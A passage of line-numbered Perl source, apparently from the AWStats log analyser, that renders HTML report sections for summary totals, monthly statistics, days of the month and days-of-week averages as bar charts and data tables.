8969 print "<td>&nbsp;<br />&nbsp;</td>\n";
8970 if ($ShowSummary =~ /H/i) { print "<td><b>$TotalHits</b>".($LogType eq 'M'?"":"<br />($RatioHits&nbsp;".lc($Message[57]."/".$Message[12]).")")."</td>"; } else { print "<td>&nbsp;</td>"; }
8971 if ($ShowSummary =~ /B/i) { print "<td><b>".Format_Bytes(int($TotalBytes))."</b><br />($RatioBytes&nbsp;$Message[108]/".$Message[($LogType eq 'M'?149:12)].")</td>"; } else { print "<td>&nbsp;</td>"; }
8972 }
8973 else {
8974 if ($LogType eq 'W' || $LogType eq 'S') { print "<td class=\"aws\">$Message[160]&nbsp;*</td>"; }
8975 if ($ShowSummary =~ /U/i) { print "<td>".($MonthRequired eq 'all'?"<b>&lt;= $TotalUnique</b><br />$Message[129]":"<b>$TotalUnique</b><br />&nbsp;")."</td>"; } else { print "<td>&nbsp;</td>"; }
8976 if ($ShowSummary =~ /V/i) { print "<td><b>$TotalVisits</b><br />($RatioVisits&nbsp;$Message[52])</td>"; } else { print "<td>&nbsp;</td>"; }
8977 if ($ShowSummary =~ /P/i) { print "<td><b>$TotalPages</b><br />($RatioPages&nbsp;".$Message[56]."/".$Message[12].")</td>"; } else { print "<td>&nbsp;</td>"; }
8978 if ($ShowSummary =~ /H/i) { print "<td><b>$TotalHits</b>".($LogType eq 'M'?"":"<br />($RatioHits&nbsp;".$Message[57]."/".$Message[12].")")."</td>"; } else { print "<td>&nbsp;</td>"; }
8979 if ($ShowSummary =~ /B/i) { print "<td><b>".Format_Bytes(int($TotalBytes))."</b><br />($RatioBytes&nbsp;$Message[108]/".$Message[($LogType eq 'M'?149:12)].")</td>"; } else { print "<td>&nbsp;</td>"; }
8980 }
8981 print "</tr>\n";
8982 # Show main indicators values for not viewed traffic values
8983 if ($LogType eq 'M' || $LogType eq 'W' || $LogType eq 'S') {
8984 print "<tr>";
8985 if ($LogType eq 'M') {
8986 print "<td class=\"aws\">$Message[166]</td>";
8987 print "<td>&nbsp;<br />&nbsp;</td>\n";
8988 print "<td>&nbsp;<br />&nbsp;</td>\n";
8989 if ($ShowSummary =~ /H/i) { print "<td><b>$TotalNotViewedHits</b></td>"; } else { print "<td>&nbsp;</td>"; }
8990 if ($ShowSummary =~ /B/i) { print "<td><b>".Format_Bytes(int($TotalNotViewedBytes))."</b></td>"; } else { print "<td>&nbsp;</td>"; }
8991 }
8992 else {
8993 if ($LogType eq 'W' || $LogType eq 'S') { print "<td class=\"aws\">$Message[161]&nbsp;*</td>"; }
8994 print "<td colspan=\"2\">&nbsp;<br />&nbsp;</td>\n";
8995 if ($ShowSummary =~ /P/i) { print "<td><b>$TotalNotViewedPages</b></td>"; } else { print "<td>&nbsp;</td>"; }
8996 if ($ShowSummary =~ /H/i) { print "<td><b>$TotalNotViewedHits</b></td>"; } else { print "<td>&nbsp;</td>"; }
8997 if ($ShowSummary =~ /B/i) { print "<td><b>".Format_Bytes(int($TotalNotViewedBytes))."</b></td>"; } else { print "<td>&nbsp;</td>"; }
8998 }
8999 print "</tr>\n";
9000 }
9001 &tab_end($LogType eq 'W' || $LogType eq 'S'?"* $Message[159]":"");
9002 }
9003
9004 # BY MONTH
9005 #---------------------------------------------------------------------
9006 if ($ShowMonthStats) {
9007
9008 if ($Debug) { debug("ShowMonthStats",2); }
9009 print "$Center<a name=\"month\">&nbsp;</a><br />\n";
9010 my $title="$Message[162]";
9011 &tab_head("$title",0,0,'month');
9012 print "<tr><td align=\"center\">\n";
9013 print "<center>\n";
9014
9015 $average_nb=$average_u=$average_v=$average_p=$average_h=$average_k=0;
9016 $total_u=$total_v=$total_p=$total_h=$total_k=0;
9017
9018 $max_v=$max_p=$max_h=$max_k=1;
9019 # Define total and max
9020 for (my $ix=1; $ix<=12; $ix++) {
9021 my $monthix=sprintf("%02s",$ix);
9022 $total_u+=$MonthUnique{$YearRequired.$monthix}||0;
9023 $total_v+=$MonthVisits{$YearRequired.$monthix}||0;
9024 $total_p+=$MonthPages{$YearRequired.$monthix}||0;
9025 $total_h+=$MonthHits{$YearRequired.$monthix}||0;
9026 $total_k+=$MonthBytes{$YearRequired.$monthix}||0;
9027 #if (($MonthUnique{$YearRequired.$monthix}||0) > $max_v) { $max_v=$MonthUnique{$YearRequired.$monthix}; }
9028 if (($MonthVisits{$YearRequired.$monthix}||0) > $max_v) { $max_v=$MonthVisits{$YearRequired.$monthix}; }
9029 #if (($MonthPages{$YearRequired.$monthix}||0) > $max_p) { $max_p=$MonthPages{$YearRequired.$monthix}; }
9030 if (($MonthHits{$YearRequired.$monthix}||0) > $max_h) { $max_h=$MonthHits{$YearRequired.$monthix}; }
9031 if (($MonthBytes{$YearRequired.$monthix}||0) > $max_k) { $max_k=$MonthBytes{$YearRequired.$monthix}; }
9032 }
9033 # Define average
9034 # TODO
9035
9036 # Show bars for month
9037 if ($PluginsLoaded{'ShowGraph'}{'graphapplet'}) {
9038 my @blocklabel=();
9039 for (my $ix=1; $ix<=12; $ix++) {
9040 my $monthix=sprintf("%02s",$ix);
9041 push @blocklabel,"$MonthNumLib{$monthix}\§$YearRequired";
9042 }
9043 my @vallabel=("$Message[11]","$Message[10]","$Message[56]","$Message[57]","$Message[75]");
9044 my @valcolor=("$color_u","$color_v","$color_p","$color_h","$color_k");
9045 my @valmax=($max_v,$max_v,$max_h,$max_h,$max_k);
9046 my @valtotal=($total_u,$total_v,$total_p,$total_h,$total_k);
9047 my @valaverage=();
9048 #my @valaverage=($average_v,$average_p,$average_h,$average_k);
9049 my @valdata=();
9050 my $xx=0;
9051 for (my $ix=1; $ix<=12; $ix++) {
9052 my $monthix=sprintf("%02s",$ix);
9053 $valdata[$xx++]=$MonthUnique{$YearRequired.$monthix}||0;
9054 $valdata[$xx++]=$MonthVisits{$YearRequired.$monthix}||0;
9055 $valdata[$xx++]=$MonthPages{$YearRequired.$monthix}||0;
9056 $valdata[$xx++]=$MonthHits{$YearRequired.$monthix}||0;
9057 $valdata[$xx++]=$MonthBytes{$YearRequired.$monthix}||0;
9058 }
9059 ShowGraph_graphapplet("$title","month",$ShowMonthStats,\@blocklabel,\@vallabel,\@valcolor,\@valmax,\@valtotal,\@valaverage,\@valdata);
9060 }
9061 else {
9062 print "<table>\n";
9063 print "<tr valign=\"bottom\">";
9064 print "<td>&nbsp;</td>\n";
9065 for (my $ix=1; $ix<=12; $ix++) {
9066 my $monthix=sprintf("%02s",$ix);
9067 my $bredde_u=0; my $bredde_v=0;my $bredde_p=0;my $bredde_h=0;my $bredde_k=0;
9068 if ($max_v > 0) { $bredde_u=int(($MonthUnique{$YearRequired.$monthix}||0)/$max_v*$BarHeight)+1; }
9069 if ($max_v > 0) { $bredde_v=int(($MonthVisits{$YearRequired.$monthix}||0)/$max_v*$BarHeight)+1; }
9070 if ($max_h > 0) { $bredde_p=int(($MonthPages{$YearRequired.$monthix}||0)/$max_h*$BarHeight)+1; }
9071 if ($max_h > 0) { $bredde_h=int(($MonthHits{$YearRequired.$monthix}||0)/$max_h*$BarHeight)+1; }
9072 if ($max_k > 0) { $bredde_k=int(($MonthBytes{$YearRequired.$monthix}||0)/$max_k*$BarHeight)+1; }
9073 print "<td>";
9074 if ($ShowMonthStats =~ /U/i) { print "<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vu'}\" height=\"$bredde_u\" width=\"6\"".AltTitle("$Message[11]: ".($MonthUnique{$YearRequired.$monthix}||0))." />"; }
9075 if ($ShowMonthStats =~ /V/i) { print "<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vv'}\" height=\"$bredde_v\" width=\"6\"".AltTitle("$Message[10]: ".($MonthVisits{$YearRequired.$monthix}||0))." />"; }
9076 if ($ShowMonthStats =~ /P/i) { print "<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"6\"".AltTitle("$Message[56]: ".($MonthPages{$YearRequired.$monthix}||0))." />"; }
9077 if ($ShowMonthStats =~ /H/i) { print "<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"6\"".AltTitle("$Message[57]: ".($MonthHits{$YearRequired.$monthix}||0))." />"; }
9078 if ($ShowMonthStats =~ /B/i) { print "<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"6\"".AltTitle("$Message[75]: ".Format_Bytes($MonthBytes{$YearRequired.$monthix}))." />"; }
9079 print "</td>\n";
9080 }
9081 print "<td>&nbsp;</td>";
9082 print "</tr>\n";
9083 # Show lib for month
9084 print "<tr valign=\"middle\">";
9085# if (!$StaticLinks) {
9086# print "<td><a href=\"".XMLEncode("$AWScript?${NewLinkParams}month=12&year=".($YearRequired-1))."\">&lt;&lt;</a></td>";
9087# }
9088# else {
9089 print "<td>&nbsp;</td>";
9090# }
9091 for (my $ix=1; $ix<=12; $ix++) {
9092 my $monthix=sprintf("%02s",$ix);
9093# if (!$StaticLinks) {
9094# print "<td><a href=\"".XMLEncode("$AWScript?${NewLinkParams}month=$monthix&year=$YearRequired")."\">$MonthNumLib{$monthix}<br />$YearRequired</a></td>";
9095# }
9096# else {
9097 print "<td>".(! $StaticLinks && $monthix==$nowmonth && $YearRequired==$nowyear?'<font class="currentday">':'');
9098 print "$MonthNumLib{$monthix}<br />$YearRequired";
9099 print (! $StaticLinks && $monthix==$nowmonth && $YearRequired==$nowyear?'</font>':'');
9100 print "</td>";
9101# }
9102 }
9103# if (!$StaticLinks) {
9104# print "<td><a href=\"".XMLEncode("$AWScript?${NewLinkParams}month=1&year=".($YearRequired+1))."\">&gt;&gt;</a></td>";
9105# }
9106# else {
9107 print "<td>&nbsp;</td>";
9108# }
9109 print "</tr>\n";
9110 print "</table>\n";
9111 }
9112 print "<br />\n";
9113
9114 # Show data array for month
9115 if ($AddDataArrayMonthStats) {
9116 print "<table>\n";
9117 print "<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[5]</td>";
9118 if ($ShowMonthStats =~ /U/i) { print "<td width=\"80\" bgcolor=\"#$color_u\"".Tooltip(2).">$Message[11]</td>"; }
9119 if ($ShowMonthStats =~ /V/i) { print "<td width=\"80\" bgcolor=\"#$color_v\"".Tooltip(1).">$Message[10]</td>"; }
9120 if ($ShowMonthStats =~ /P/i) { print "<td width=\"80\" bgcolor=\"#$color_p\"".Tooltip(3).">$Message[56]</td>"; }
9121 if ($ShowMonthStats =~ /H/i) { print "<td width=\"80\" bgcolor=\"#$color_h\"".Tooltip(4).">$Message[57]</td>"; }
9122 if ($ShowMonthStats =~ /B/i) { print "<td width=\"80\" bgcolor=\"#$color_k\"".Tooltip(5).">$Message[75]</td>"; }
9123 print "</tr>\n";
9124 for (my $ix=1; $ix<=12; $ix++) {
9125 my $monthix=sprintf("%02s",$ix);
9126 print "<tr>";
9127 print "<td>".(! $StaticLinks && $monthix==$nowmonth && $YearRequired==$nowyear?'<font class="currentday">':'');
9128 print "$MonthNumLib{$monthix} $YearRequired";
9129 print (! $StaticLinks && $monthix==$nowmonth && $YearRequired==$nowyear?'</font>':'');
9130 print "</td>";
9131 if ($ShowMonthStats =~ /U/i) { print "<td>",$MonthUnique{$YearRequired.$monthix}?$MonthUnique{$YearRequired.$monthix}:"0","</td>"; }
9132 if ($ShowMonthStats =~ /V/i) { print "<td>",$MonthVisits{$YearRequired.$monthix}?$MonthVisits{$YearRequired.$monthix}:"0","</td>"; }
9133 if ($ShowMonthStats =~ /P/i) { print "<td>",$MonthPages{$YearRequired.$monthix}?$MonthPages{$YearRequired.$monthix}:"0","</td>"; }
9134 if ($ShowMonthStats =~ /H/i) { print "<td>",$MonthHits{$YearRequired.$monthix}?$MonthHits{$YearRequired.$monthix}:"0","</td>"; }
9135 if ($ShowMonthStats =~ /B/i) { print "<td>",Format_Bytes(int($MonthBytes{$YearRequired.$monthix}||0)),"</td>"; }
9136 print "</tr>\n";
9137 }
9138 # Average row
9139 # TODO
9140 # Total row
9141 print "<tr><td bgcolor=\"#$color_TableBGRowTitle\">$Message[102]</td>";
9142 if ($ShowMonthStats =~ /U/i) { print "<td bgcolor=\"#$color_TableBGRowTitle\">$total_u</td>"; }
9143 if ($ShowMonthStats =~ /V/i) { print "<td bgcolor=\"#$color_TableBGRowTitle\">$total_v</td>"; }
9144 if ($ShowMonthStats =~ /P/i) { print "<td bgcolor=\"#$color_TableBGRowTitle\">$total_p</td>"; }
9145 if ($ShowMonthStats =~ /H/i) { print "<td bgcolor=\"#$color_TableBGRowTitle\">$total_h</td>"; }
9146 if ($ShowMonthStats =~ /B/i) { print "<td bgcolor=\"#$color_TableBGRowTitle\">".Format_Bytes($total_k)."</td>"; }
9147 print "</tr>\n";
9148 print "</table>\n<br />\n";
9149 }
9150
9151 print "</center>\n";
9152 print "</td></tr>\n";
9153 &tab_end();
9154 }
9155
9156 print "\n<a name=\"when\">&nbsp;</a>\n\n";
9157
9158 # BY DAY OF MONTH
9159 #---------------------------------------------------------------------
9160 if ($ShowDaysOfMonthStats) {
9161 if ($Debug) { debug("ShowDaysOfMonthStats",2); }
9162 print "$Center<a name=\"daysofmonth\">&nbsp;</a><br />\n";
9163 my $title="$Message[138]";
9164 &tab_head("$title",0,0,'daysofmonth');
9165 print "<tr>";
9166 print "<td align=\"center\">\n";
9167 print "<center>\n";
9168
9169 my $NewLinkParams=${QueryString};
9170 $NewLinkParams =~ s/(^|&|&amp;)update(=\w*|$)//i;
9171 $NewLinkParams =~ s/(^|&|&amp;)staticlinks(=\w*|$)//i;
9172 $NewLinkParams =~ s/(^|&|&amp;)year=[^&]*//i;
9173 $NewLinkParams =~ s/(^|&|&amp;)month=[^&]*//i;
9174 $NewLinkParams =~ s/(^|&|&amp;)framename=[^&]*//i;
9175 $NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
9176 $NewLinkParams =~ s/^&amp;//; $NewLinkParams =~ s/&amp;$//;
9177 if ($NewLinkParams) { $NewLinkParams="${NewLinkParams}&amp;"; }
9178 my $NewLinkTarget='';
9179 if ($FrameName eq 'mainright') { $NewLinkTarget=" target=\"_parent\""; }
9180
9181 $average_nb=$average_u=$average_v=$average_p=$average_h=$average_k=0;
9182 $total_u=$total_v=$total_p=$total_h=$total_k=0;
9183 # Define total and max
9184 $max_v=$max_h=$max_k=0; # Start from 0 because can be lower than 1
9185 foreach my $daycursor ($firstdaytoshowtime..$lastdaytoshowtime) {
9186 $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
9187 my $year=$1; my $month=$2; my $day=$3;
9188 if (! DateIsValid($day,$month,$year)) { next; } # If not an existing day, go to next
9189 $total_v+=$DayVisits{$year.$month.$day}||0;
9190 $total_p+=$DayPages{$year.$month.$day}||0;
9191 $total_h+=$DayHits{$year.$month.$day}||0;
9192 $total_k+=$DayBytes{$year.$month.$day}||0;
9193 if (($DayVisits{$year.$month.$day}||0) > $max_v) { $max_v=$DayVisits{$year.$month.$day}; }
9194 #if (($DayPages{$year.$month.$day}||0) > $max_p) { $max_p=$DayPages{$year.$month.$day}; }
9195 if (($DayHits{$year.$month.$day}||0) > $max_h) { $max_h=$DayHits{$year.$month.$day}; }
9196 if (($DayBytes{$year.$month.$day}||0) > $max_k) { $max_k=$DayBytes{$year.$month.$day}; }
9197 }
9198 # Define average
9199 foreach my $daycursor ($firstdaytocountaverage..$lastdaytocountaverage) {
9200 $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
9201 my $year=$1; my $month=$2; my $day=$3;
9202 if (! DateIsValid($day,$month,$year)) { next; } # If not an existing day, go to next
9203 $average_nb++; # Increase number of day used to count
9204 $average_v+=($DayVisits{$daycursor}||0);
9205 $average_p+=($DayPages{$daycursor}||0);
9206 $average_h+=($DayHits{$daycursor}||0);
9207 $average_k+=($DayBytes{$daycursor}||0);
9208 }
9209 if ($average_nb) {
9210 $average_v=$average_v/$average_nb;
9211 $average_p=$average_p/$average_nb;
9212 $average_h=$average_h/$average_nb;
9213 $average_k=$average_k/$average_nb;
9214 if ($average_v > $max_v) { $max_v=$average_v; }
9215 #if ($average_p > $max_p) { $max_p=$average_p; }
9216 if ($average_h > $max_h) { $max_h=$average_h; }
9217 if ($average_k > $max_k) { $max_k=$average_k; }
9218 }
9219 else {
9220 $average_v="?";
9221 $average_p="?";
9222 $average_h="?";
9223 $average_k="?";
9224 }
9225
9226 # Show bars for day
9227 if ($PluginsLoaded{'ShowGraph'}{'graphapplet'}) {
9228 my @blocklabel=();
9229 foreach my $daycursor ($firstdaytoshowtime..$lastdaytoshowtime) {
9230 $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
9231 my $year=$1; my $month=$2; my $day=$3;
9232 if (! DateIsValid($day,$month,$year)) { next; } # If not an existing day, go to next
9233 my $bold=($day==$nowday && $month==$nowmonth && $year==$nowyear?':':'');
9234 my $weekend=(DayOfWeek($day,$month,$year)=~/[06]/?'!':'');
9235 push @blocklabel,"$day§$MonthNumLib{$month}$weekend$bold";
9236 }
9237 my @vallabel=("$Message[10]","$Message[56]","$Message[57]","$Message[75]");
9238 my @valcolor=("$color_v","$color_p","$color_h","$color_k");
9239 my @valmax=($max_v,$max_h,$max_h,$max_k);
9240 my @valtotal=($total_v,$total_p,$total_h,$total_k);
9241 $average_v=sprintf("%.2f",$average_v);
9242 $average_p=sprintf("%.2f",$average_p);
9243 $average_h=sprintf("%.2f",$average_h);
9244 $average_k=(int($average_k)?Format_Bytes(sprintf("%.2f",$average_k)):"0.00");
9245 my @valaverage=($average_v,$average_p,$average_h,$average_k);
9246 my @valdata=();
9247 my $xx=0;
9248 foreach my $daycursor ($firstdaytoshowtime..$lastdaytoshowtime) {
9249 $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
9250 my $year=$1; my $month=$2; my $day=$3;
9251 if (! DateIsValid($day,$month,$year)) { next; } # If not an existing day, go to next
9252 $valdata[$xx++]=$DayVisits{$year.$month.$day}||0;
9253 $valdata[$xx++]=$DayPages{$year.$month.$day}||0;
9254 $valdata[$xx++]=$DayHits{$year.$month.$day}||0;
9255 $valdata[$xx++]=$DayBytes{$year.$month.$day}||0;
9256 }
9257 ShowGraph_graphapplet("$title","daysofmonth",$ShowDaysOfMonthStats,\@blocklabel,\@vallabel,\@valcolor,\@valmax,\@valtotal,\@valaverage,\@valdata);
9258 }
9259 else {
9260 print "<table>\n";
9261 print "<tr valign=\"bottom\">\n";
9262 foreach my $daycursor ($firstdaytoshowtime..$lastdaytoshowtime) {
9263 $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
9264 my $year=$1; my $month=$2; my $day=$3;
9265 if (! DateIsValid($day,$month,$year)) { next; } # If not an existing day, go to next
9266 my $bredde_v=0; my $bredde_p=0; my $bredde_h=0; my $bredde_k=0;
9267 if ($max_v > 0) { $bredde_v=int(($DayVisits{$year.$month.$day}||0)/$max_v*$BarHeight)+1; }
9268 if ($max_h > 0) { $bredde_p=int(($DayPages{$year.$month.$day}||0)/$max_h*$BarHeight)+1; }
9269 if ($max_h > 0) { $bredde_h=int(($DayHits{$year.$month.$day}||0)/$max_h*$BarHeight)+1; }
9270 if ($max_k > 0) { $bredde_k=int(($DayBytes{$year.$month.$day}||0)/$max_k*$BarHeight)+1; }
9271 print "<td>";
9272 if ($ShowDaysOfMonthStats =~ /V/i) { print "<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vv'}\" height=\"$bredde_v\" width=\"4\"".AltTitle("$Message[10]: ".int($DayVisits{$year.$month.$day}||0))." />"; }
9273 if ($ShowDaysOfMonthStats =~ /P/i) { print "<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"4\"".AltTitle("$Message[56]: ".int($DayPages{$year.$month.$day}||0))." />"; }
9274 if ($ShowDaysOfMonthStats =~ /H/i) { print "<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"4\"".AltTitle("$Message[57]: ".int($DayHits{$year.$month.$day}||0))." />"; }
9275 if ($ShowDaysOfMonthStats =~ /B/i) { print "<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"4\"".AltTitle("$Message[75]: ".Format_Bytes($DayBytes{$year.$month.$day}))." />"; }
9276 print "</td>\n";
9277 }
9278 print "<td>&nbsp;</td>";
9279 # Show average value cell
9280 print "<td>";
9281 my $bredde_v=0; my $bredde_p=0; my $bredde_h=0; my $bredde_k=0;
9282 if ($max_v > 0) { $bredde_v=int($average_v/$max_v*$BarHeight)+1; }
9283 if ($max_h > 0) { $bredde_p=int($average_p/$max_h*$BarHeight)+1; }
9284 if ($max_h > 0) { $bredde_h=int($average_h/$max_h*$BarHeight)+1; }
9285 if ($max_k > 0) { $bredde_k=int($average_k/$max_k*$BarHeight)+1; }
9286 $average_v=sprintf("%.2f",$average_v);
9287 $average_p=sprintf("%.2f",$average_p);
9288 $average_h=sprintf("%.2f",$average_h);
9289 $average_k=(int($average_k)?Format_Bytes(sprintf("%.2f",$average_k)):"0.00");
9290 if ($ShowDaysOfMonthStats =~ /V/i) { print "<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vv'}\" height=\"$bredde_v\" width=\"4\"".AltTitle("$Message[10]: $average_v")." />"; }
9291 if ($ShowDaysOfMonthStats =~ /P/i) { print "<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"4\"".AltTitle("$Message[56]: $average_p")." />"; }
9292 if ($ShowDaysOfMonthStats =~ /H/i) { print "<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"4\"".AltTitle("$Message[57]: $average_h")." />"; }
9293 if ($ShowDaysOfMonthStats =~ /B/i) { print "<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"4\"".AltTitle("$Message[75]: $average_k")." />"; }
9294 print "</td>\n";
9295 print "</tr>\n";
9296 # Show lib for day
9297 print "<tr valign=\"middle\">";
9298 foreach my $daycursor ($firstdaytoshowtime..$lastdaytoshowtime) {
9299 $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
9300 my $year=$1; my $month=$2; my $day=$3;
9301 if (! DateIsValid($day,$month,$year)) { next; } # If not an existing day, go to next
9302 my $dayofweekcursor=DayOfWeek($day,$month,$year);
9303 print "<td".($dayofweekcursor=~/[06]/?" bgcolor=\"#$color_weekend\"":"").">";
9304 print (! $StaticLinks && $day==$nowday && $month==$nowmonth && $year==$nowyear?'<font class="currentday">':'');
9305 print "$day<br /><span style=\"font-size: ".($FrameName ne 'mainright' && $QueryString !~ /buildpdf/i?"9":"8")."px;\">".$MonthNumLib{$month}."</span>";
9306 print (! $StaticLinks && $day==$nowday && $month==$nowmonth && $year==$nowyear?'</font>':'');
9307 print "</td>\n";
9308 }
9309 print "<td>&nbsp;</td>";
9310 print "<td valign=\"middle\"".Tooltip(18).">$Message[96]</td>\n";
9311 print "</tr>\n";
9312 print "</table>\n";
9313 }
9314 print "<br />\n";
9315
9316 # Show data array for days
9317 if ($AddDataArrayShowDaysOfMonthStats) {
9318 print "<table>\n";
9319 print "<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[4]</td>";
9320 if ($ShowDaysOfMonthStats =~ /V/i) { print "<td width=\"80\" bgcolor=\"#$color_v\"".Tooltip(1).">$Message[10]</td>"; }
9321 if ($ShowDaysOfMonthStats =~ /P/i) { print "<td width=\"80\" bgcolor=\"#$color_p\"".Tooltip(3).">$Message[56]</td>"; }
9322 if ($ShowDaysOfMonthStats =~ /H/i) { print "<td width=\"80\" bgcolor=\"#$color_h\"".Tooltip(4).">$Message[57]</td>"; }
9323 if ($ShowDaysOfMonthStats =~ /B/i) { print "<td width=\"80\" bgcolor=\"#$color_k\"".Tooltip(5).">$Message[75]</td>"; }
9324 print "</tr>";
9325 foreach my $daycursor ($firstdaytoshowtime..$lastdaytoshowtime) {
9326 $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
9327 my $year=$1; my $month=$2; my $day=$3;
9328 if (! DateIsValid($day,$month,$year)) { next; } # If not an existing day, go to next
9329 my $dayofweekcursor=DayOfWeek($day,$month,$year);
9330 print "<tr".($dayofweekcursor=~/[06]/?" bgcolor=\"#$color_weekend\"":"").">";
9331 print "<td>".(! $StaticLinks && $day==$nowday && $month==$nowmonth && $year==$nowyear?'<font class="currentday">':'');
9332 print Format_Date("$year$month$day"."000000",2);
9333 print (! $StaticLinks && $day==$nowday && $month==$nowmonth && $year==$nowyear?'</font>':'');
9334 print "</td>";
9335 if ($ShowDaysOfMonthStats =~ /V/i) { print "<td>",$DayVisits{$year.$month.$day}?$DayVisits{$year.$month.$day}:"0","</td>"; }
9336 if ($ShowDaysOfMonthStats =~ /P/i) { print "<td>",$DayPages{$year.$month.$day}?$DayPages{$year.$month.$day}:"0","</td>"; }
9337 if ($ShowDaysOfMonthStats =~ /H/i) { print "<td>",$DayHits{$year.$month.$day}?$DayHits{$year.$month.$day}:"0","</td>"; }
9338 if ($ShowDaysOfMonthStats =~ /B/i) { print "<td>",Format_Bytes(int($DayBytes{$year.$month.$day}||0)),"</td>"; }
9339 print "</tr>\n";
9340 }
9341 # Average row
9342 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><td>$Message[96]</td>";
9343 if ($ShowDaysOfMonthStats =~ /V/i) { print "<td>$average_v</td>"; }
9344 if ($ShowDaysOfMonthStats =~ /P/i) { print "<td>$average_p</td>"; }
9345 if ($ShowDaysOfMonthStats =~ /H/i) { print "<td>$average_h</td>"; }
9346 if ($ShowDaysOfMonthStats =~ /B/i) { print "<td>$average_k</td>"; }
9347 print "</tr>\n";
9348 # Total row
9349 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><td>$Message[102]</td>";
9350 if ($ShowDaysOfMonthStats =~ /V/i) { print "<td>$total_v</td>"; }
9351 if ($ShowDaysOfMonthStats =~ /P/i) { print "<td>$total_p</td>"; }
9352 if ($ShowDaysOfMonthStats =~ /H/i) { print "<td>$total_h</td>"; }
9353 if ($ShowDaysOfMonthStats =~ /B/i) { print "<td>".Format_Bytes($total_k)."</td>"; }
9354 print "</tr>\n";
9355 print "</table>\n<br />";
9356 }
9357
9358 print "</center>\n";
9359 print "</td></tr>\n";
9360 &tab_end();
9361 }
9362
9363 # BY DAY OF WEEK
9364 #-------------------------
9365 if ($ShowDaysOfWeekStats) {
9366 if ($Debug) { debug("ShowDaysOfWeekStats",2); }
9367 print "$Center<a name=\"daysofweek\">&nbsp;</a><br />\n";
9368 my $title="$Message[91]";
9369 &tab_head("$title",18,0,'daysofweek');
9370 print "<tr>";
9371 print "<td align=\"center\">";
9372 print "<center>\n";
9373
9374 $max_h=$max_k=0; # Start from 0 because can be lower than 1
9375 # Get average value for day of week
9376 my @avg_dayofweek_nb=(); my @avg_dayofweek_p=(); my @avg_dayofweek_h=(); my @avg_dayofweek_k=();
9377 foreach my $daycursor ($firstdaytocountaverage..$lastdaytocountaverage) {
9378 $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
9379 my $year=$1; my $month=$2; my $day=$3;
9380 if (! DateIsValid($day,$month,$year)) { next; } # If not an existing day, go to next
9381 my $dayofweekcursor=DayOfWeek($day,$month,$year);
9382 $avg_dayofweek_nb[$dayofweekcursor]++; # Increase number of day used to count for this day of week
9383 $avg_dayofweek_p[$dayofweekcursor]+=($DayPages{$daycursor}||0);
9384 $avg_dayofweek_h[$dayofweekcursor]+=($DayHits{$daycursor}||0);
9385 $avg_dayofweek_k[$dayofweekcursor]+=($DayBytes{$daycursor}||0);
9386 }
9387 for (@DOWIndex) {
9388 if ($avg_dayofweek_nb[$_]) {
9389 $avg_dayofweek_p[$_]=$avg_dayofweek_p[$_]/$avg_dayofweek_nb[$_];
9390 $avg_dayofweek_h[$_]=$avg_dayofweek_h[$_]/$avg_dayofweek_nb[$_];
9391 $avg_dayofweek_k[$_]=$avg_dayofweek_k[$_]/$avg_dayofweek_nb[$_];
9392 #if ($avg_dayofweek_p[$_] > $max_p) { $max_p = $avg_dayofweek_p[$_]; }
9393 if ($avg_dayofweek_h[$_] > $max_h) { $max_h = $avg_dayofweek_h[$_]; }
9394 if ($avg_dayofweek_k[$_] > $max_k) { $max_k = $avg_dayofweek_k[$_]; }
9395 }
9396 else {
9397 $avg_dayofweek_p[$_]="?";
9398 $avg_dayofweek_h[$_]="?";
9399 $avg_dayofweek_k[$_]="?";
9400 }
9401 }
9402
9403 # Show bars for days of week
9404 if ($PluginsLoaded{'ShowGraph'}{'graphapplet'}) {
9405 my @blocklabel=();
9406 for (@DOWIndex) { push @blocklabel,($Message[$_+84].($_=~/[06]/?"!":"")); }
9407 my @vallabel=("$Message[56]","$Message[57]","$Message[75]");
9408 my @valcolor=("$color_p","$color_h","$color_k");
9409 my @valmax=(int($max_h),int($max_h),int($max_k));
9410 my @valtotal=($total_p,$total_h,$total_k);
9411 $average_p=sprintf("%.2f",$average_p);
9412 $average_h=sprintf("%.2f",$average_h);
9413 $average_k=(int($average_k)?Format_Bytes(sprintf("%.2f",$average_k)):"0.00");
9414 my @valaverage=($average_p,$average_h,$average_k);
9415 my @valdata=();
9416 my $xx=0;
9417 for (@DOWIndex) {
9418 $valdata[$xx++]=$avg_dayofweek_p[$_]||0;
9419 $valdata[$xx++]=$avg_dayofweek_h[$_]||0;
9420 $valdata[$xx++]=$avg_dayofweek_k[$_]||0;
9421 # Round to be ready to show array
9422 $avg_dayofweek_p[$_]=sprintf("%.2f",$avg_dayofweek_p[$_]);
